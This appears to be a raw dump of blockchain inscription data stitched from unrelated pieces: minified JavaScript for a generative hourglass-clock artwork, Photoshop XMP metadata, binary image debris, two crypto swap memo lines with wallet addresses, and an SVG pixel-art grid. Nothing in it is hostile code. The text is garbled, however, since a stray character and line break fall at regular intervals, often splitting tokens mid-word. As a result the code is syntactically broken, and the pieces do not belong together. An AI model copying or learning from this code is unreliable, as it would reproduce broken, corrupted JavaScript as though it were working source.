.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
qhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="122M
5407CAA4D22E3A20AA7775173442A" xmpMM:DocumentID="xmp.did:7BE1CF2DABC511EDA3C8ED56F4982731" xmpMM:InstanceID="xmp.iid:7BE1CF2CABC511EDA3C8ED56F4982731" xmp:CreatorTool="Adobe Photoshop 2022 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:370214b9-d8fe-4949-aa5e-d6976be762db" stRef:documentID="xmp.did:370214b9-d8fe-4949-aa5e-d6976be762db"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFM
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
Bj@=:BNB.BNB:bnb1f9uwwwz2ra2v8flwzq2fpueuj9xlpxllqekepj:97906070::0
Bj@=:ETH.ETH:0xc8671Ee0cD530a0baC413c90e3Baa9D7A3203fea:80467037::0
<svg viewBox="0 0 16 16" version="1.2" shape-rendering="crispEdges" xmlns="http://www.w3.org/2000/svg"><path fill="#000" d="M0 0h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 1h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 2h1v1H0zm1 0h1v1H1zm1 0h1v1H2M
z"></path><path fill="#FFF" d="M3 2h1v1H3zm1 0h1v1H4zm1 0h1v1H5z"></path><path fill="#000" d="M6 2h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9z"></path><path fill="#FFF" d="M10 2h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M13 2h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 3h1v1H0zm1 0h1v1H1z"></path><path fill="#FFF" d="M2 3h1v1H2zm1 0h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1v1H6z"></path><path fill="#000" d="M7 3h1v1H7zm1 0h1v1H8z"></path><path fill="#FFF" d="M9 3h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM
"></path><path fill="#000" d="M14 3h1v1h-1zm1 0h1v1h-1zM0 4h1v1H0zm1 0h1v1H1z"></path><path fill="#FFF" d="M2 4h1v1H2zm1 0h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1v1H6z"></path><path fill="#000" d="M7 4h1v1H7zm1 0h1v1H8z"></path><path fill="#FFF" d="M9 4h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M14 4h1v1h-1zm1 0h1v1h-1zM0 5h1v1H0z"></path><path fill="#FFF" d="M1 5h1v1H1z"></path><path fill="#000" d="M2 5h1v1H2z"></path><path fill="#FFF" d="M3 5h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1M
v1H6zm1 0h1v1H7zm1 0h1v1H8z"></path><path fill="#000" d="M9 5h1v1H9z"></path><path fill="#FFF" d="M10 5h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M15 5h1v1h-1zM0 6h1v1H0zm1 0h1v1H1z"></path><path fill="#FFF" d="M2 6h1v1H2z"></path><path fill="#000" d="M3 6h1v1H3zm1 0h1v1H4z"></path><path fill="#FFF" d="M5 6h1v1H5zm1 0h1v1H6zm1 0h1v1H7z"></path><path fill="#000" d="M8 6h1v1H8z"></path><path fill="#FFF" d="M9 6h1v1H9z"></path><path fill="#000" d="M10 6h1v1h-1zm1 0h1v1h-1z"><M
/path><path fill="#FFF" d="M12 6h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M15 6h1v1h-1zM0 7h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3zm1 0h1v1H4z"></path><path fill="#FFF" d="M5 7h1v1H5zm1 0h1v1H6zm1 0h1v1H7z"></path><path fill="#000" d="M8 7h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 8h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3zm1 0h1v1H4z"></path><path fill="#FFF" d="M5 8h1v1H5zm1 0h1v1H6zm1 0h1v1H7z"></path><path fill="#000" d="M8 8h1v1H8zm1 0h1v1H9zmM
1 0h1v1h-1z"></path><path fill="#FFF" d="M11 8h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M0 9h1v1H0z"></path><path fill="#FFF" d="M1 9h1v1H1z"></path><path fill="#000" d="M2 9h1v1H2zm1 0h1v1H3z"></path><path fill="#FFF" d="M4 9h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8z"></path><path fill="#000" d="M9 9h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#FFF" d="M12 9h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M15 9h1v1h-1zM0 10h1v1H0z"></path><paM
th fill="#FFF" d="M1 10h1v1H1zm1 0h1v1H2zm1 0h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M15 10h1v1h-1zM0 11h1v1H0zm1 0h1v1H1z"></path><path fill="#FFF" d="M2 11h1v1H2zm1 0h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1v1H6z"></path><path fill="#000" d="M7 11h1v1H7zm1 0h1v1H8z"></path><path fill="#FFF" d="M9 11h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M14 11h1v1h-1zm1M
 0h1v1h-1zM0 12h1v1H0zm1 0h1v1H1z"></path><path fill="#FFF" d="M2 12h1v1H2zm1 0h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1v1H6z"></path><path fill="#000" d="M7 12h1v1H7zm1 0h1v1H8z"></path><path fill="#FFF" d="M9 12h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M14 12h1v1h-1zm1 0h1v1h-1zM0 13h1v1H0zm1 0h1v1H1zm1 0h1v1H2z"></path><path fill="#FFF" d="M3 13h1v1H3zm1 0h1v1H4zm1 0h1v1H5z"></path><path fill="#000" d="M6 13h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9z"></path><path fill="#FFF" d=M
"M10 13h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M13 13h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 14h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 15h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path></svg>h!
